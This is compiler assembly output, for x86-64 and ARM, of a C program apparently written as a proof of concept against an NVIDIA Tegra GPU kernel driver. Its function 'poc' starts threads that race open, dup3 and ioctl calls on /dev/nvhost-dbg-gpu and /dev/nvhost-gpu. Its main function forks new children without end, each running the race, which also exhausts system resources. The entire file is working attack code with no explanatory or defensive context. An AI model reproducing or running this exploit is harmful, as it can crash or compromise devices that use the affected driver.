	.file	"621320.c"
	.intel_syntax noprefix
	.text
	.globl	fd_gpu
	.bss
	.align 4
	.type	fd_gpu, @object
	.size	fd_gpu, 4
fd_gpu:
	.zero	4
	.globl	fd_dbg
	.align 4
	.type	fd_dbg, @object
	.size	fd_dbg, 4
fd_dbg:
	.zero	4
	.globl	fd_dbg_1
	.align 4
	.type	fd_dbg_1, @object
	.size	fd_dbg_1, 4
fd_dbg_1:
	.zero	4
	.section	.rodata
.LC0:
	.string	"/dev/nvhost-dbg-gpu"
.LC1:
	.string	"/dev/nvhost-gpu"
	.text
	.globl	thr
	.type	thr, @function
thr:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR -24[rbp]
	cmp	rax, 5
	ja	.L2
	lea	rdx, 0[0+rax*4]
	lea	rax, .L4[rip]
	mov	eax, DWORD PTR [rdx+rax]
	cdqe
	lea	rdx, .L4[rip]
	add	rax, rdx
	notrack jmp	rax
	.section	.rodata
	.align 4
	.align 4
.L4:
	.long	.L9-.L4
	.long	.L8-.L4
	.long	.L7-.L4
	.long	.L6-.L4
	.long	.L5-.L4
	.long	.L3-.L4
	.text
.L9:
	mov	edx, 1052672
	mov	esi, 0
	lea	rdi, .LC0[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR fd_dbg[rip], eax
	jmp	.L2
.L8:
	mov	ecx, DWORD PTR fd_dbg[rip]
	mov	eax, DWORD PTR fd_dbg[rip]
	mov	edx, 524288
	mov	esi, ecx
	mov	edi, eax
	call	dup3@PLT
	mov	DWORD PTR fd_dbg_1[rip], eax
	jmp	.L2
.L7:
	mov	eax, DWORD PTR fd_dbg_1[rip]
	mov	DWORD PTR -16[rbp], eax
	mov	DWORD PTR -12[rbp], 0
	mov	eax, DWORD PTR fd_dbg[rip]
	lea	rdx, -16[rbp]
	mov	r9d, 0
	mov	r8d, 0
	mov	ecx, 0
	mov	esi, 3221767169
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	jmp	.L2
.L6:
	mov	edx, 8192
	mov	esi, 0
	lea	rdi, .LC1[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR fd_gpu[rip], eax
	jmp	.L2
.L5:
	mov	eax, DWORD PTR fd_gpu[rip]
	mov	DWORD PTR -16[rbp], eax
	mov	DWORD PTR -12[rbp], 0
	mov	eax, DWORD PTR fd_dbg[rip]
	lea	rdx, -16[rbp]
	mov	esi, 3221767169
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	jmp	.L2
.L3:
	mov	eax, DWORD PTR fd_gpu[rip]
	mov	DWORD PTR -16[rbp], eax
	mov	DWORD PTR -12[rbp], 0
	mov	eax, DWORD PTR fd_dbg[rip]
	lea	rdx, -16[rbp]
	mov	esi, 3221767169
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	nop
.L2:
	mov	eax, 0
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L11
	call	__stack_chk_fail@PLT
.L11:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	thr, .-thr
	.globl	poc
	.type	poc, @function
poc:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	QWORD PTR -16[rbp], 0
	jmp	.L13
.L14:
	mov	rdx, QWORD PTR -16[rbp]
	lea	rax, -24[rbp]
	mov	rcx, rdx
	lea	rdx, thr[rip]
	mov	esi, 0
	mov	rdi, rax
	call	pthread_create@PLT
	mov	edi, 10000
	call	usleep@PLT
	add	QWORD PTR -16[rbp], 1
.L13:
	cmp	QWORD PTR -16[rbp], 5
	jle	.L14
	mov	QWORD PTR -16[rbp], 0
	jmp	.L15
.L17:
	mov	rdx, QWORD PTR -16[rbp]
	lea	rax, -24[rbp]
	mov	rcx, rdx
	lea	rdx, thr[rip]
	mov	esi, 0
	mov	rdi, rax
	call	pthread_create@PLT
	mov	rax, QWORD PTR -16[rbp]
	and	eax, 1
	test	rax, rax
	jne	.L16
	mov	edi, 10000
	call	usleep@PLT
.L16:
	add	QWORD PTR -16[rbp], 1
.L15:
	cmp	QWORD PTR -16[rbp], 5
	jle	.L17
	mov	edi, 100000
	call	usleep@PLT
	mov	eax, 0
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L19
	call	__stack_chk_fail@PLT
.L19:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	poc, .-poc
	.globl	main
	.type	main, @function
main:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	DWORD PTR -20[rbp], edi
	mov	QWORD PTR -32[rbp], rsi
.L24:
	call	fork@PLT
	mov	DWORD PTR -4[rbp], eax
	cmp	DWORD PTR -4[rbp], 0
	je	.L21
	mov	edi, 30000
	call	usleep@PLT
	jmp	.L24
.L21:
	mov	eax, 0
	call	poc
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"621320.c"
	.text
	.comm	fd_gpu,4,4
	.comm	fd_dbg,4,4
	.comm	fd_dbg_1,4,4
	.section	.rodata
	.align	2
.LC0:
	.ascii	"/dev/nvhost-dbg-gpu\000"
	.align	2
.LC1:
	.ascii	"/dev/nvhost-gpu\000"
	.align	2
.LC2:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	thr
	.syntax unified
	.arm
	.fpu softvfp
	.type	thr, %function
thr:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #32
	str	r0, [fp, #-24]
	ldr	r3, .L12
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, [fp, #-24]
	cmp	r3, #5
	ldrls	pc, [pc, r3, asl #2]
	b	.L2
.L4:
	.word	.L9
	.word	.L8
	.word	.L7
	.word	.L6
	.word	.L5
	.word	.L3
.L9:
	ldr	r2, .L12+4
	mov	r1, #0
	ldr	r0, .L12+8
	bl	open
	mov	r3, r0
	ldr	r2, .L12+12
	str	r3, [r2]
	b	.L2
.L8:
	ldr	r3, .L12+12
	ldr	r3, [r3]
	ldr	r2, .L12+12
	ldr	r1, [r2]
	mov	r2, #524288
	mov	r0, r3
	bl	dup3
	mov	r3, r0
	ldr	r2, .L12+16
	str	r3, [r2]
	b	.L2
.L7:
	ldr	r3, .L12+16
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3, #0
	str	r3, [fp, #-12]
	ldr	r3, .L12+12
	ldr	r0, [r3]
	sub	r2, fp, #16
	mov	r3, #0
	str	r3, [sp, #4]
	mov	r3, #0
	str	r3, [sp]
	mov	r3, #0
	ldr	r1, .L12+20
	bl	ioctl
	b	.L2
.L6:
	mov	r2, #8192
	mov	r1, #0
	ldr	r0, .L12+24
	bl	open
	mov	r3, r0
	ldr	r2, .L12+28
	str	r3, [r2]
	b	.L2
.L5:
	ldr	r3, .L12+28
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3, #0
	str	r3, [fp, #-12]
	ldr	r3, .L12+12
	ldr	r3, [r3]
	sub	r2, fp, #16
	ldr	r1, .L12+20
	mov	r0, r3
	bl	ioctl
	b	.L2
.L3:
	ldr	r3, .L12+28
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3, #0
	str	r3, [fp, #-12]
	ldr	r3, .L12+12
	ldr	r3, [r3]
	sub	r2, fp, #16
	ldr	r1, .L12+20
	mov	r0, r3
	bl	ioctl
	nop
.L2:
	mov	r3, #0
	ldr	r2, .L12
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L11
	bl	__stack_chk_fail
.L11:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L13:
	.align	2
.L12:
	.word	.LC2
	.word	1052672
	.word	.LC0
	.word	fd_dbg
	.word	fd_dbg_1
	.word	-1073200127
	.word	.LC1
	.word	fd_gpu
	.size	thr, .-thr
	.section	.rodata
	.align	2
.LC3:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	poc
	.syntax unified
	.arm
	.fpu softvfp
	.type	poc, %function
poc:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	ldr	r3, .L22
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-12]
	b	.L15
.L16:
	ldr	r3, [fp, #-12]
	sub	r0, fp, #16
	ldr	r2, .L22+4
	mov	r1, #0
	bl	pthread_create
	ldr	r0, .L22+8
	bl	usleep
	ldr	r3, [fp, #-12]
	add	r3, r3, #1
	str	r3, [fp, #-12]
.L15:
	ldr	r3, [fp, #-12]
	cmp	r3, #5
	ble	.L16
	mov	r3, #0
	str	r3, [fp, #-12]
	b	.L17
.L19:
	ldr	r3, [fp, #-12]
	sub	r0, fp, #16
	ldr	r2, .L22+4
	mov	r1, #0
	bl	pthread_create
	ldr	r3, [fp, #-12]
	and	r3, r3, #1
	cmp	r3, #0
	bne	.L18
	ldr	r0, .L22+8
	bl	usleep
.L18:
	ldr	r3, [fp, #-12]
	add	r3, r3, #1
	str	r3, [fp, #-12]
.L17:
	ldr	r3, [fp, #-12]
	cmp	r3, #5
	ble	.L19
	ldr	r0, .L22+12
	bl	usleep
	mov	r3, #0
	ldr	r2, .L22
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L21
	bl	__stack_chk_fail
.L21:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L23:
	.align	2
.L22:
	.word	.LC3
	.word	thr
	.word	10000
	.word	100000
	.size	poc, .-poc
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
.L28:
	bl	fork
	mov	r3, r0
	str	r3, [fp, #-8]
	ldr	r3, [fp, #-8]
	cmp	r3, #0
	beq	.L25
	ldr	r0, .L31
	bl	usleep
	b	.L28
.L25:
	bl	poc
	mov	r3, r0
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L32:
	.align	2
.L31:
	.word	30000
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
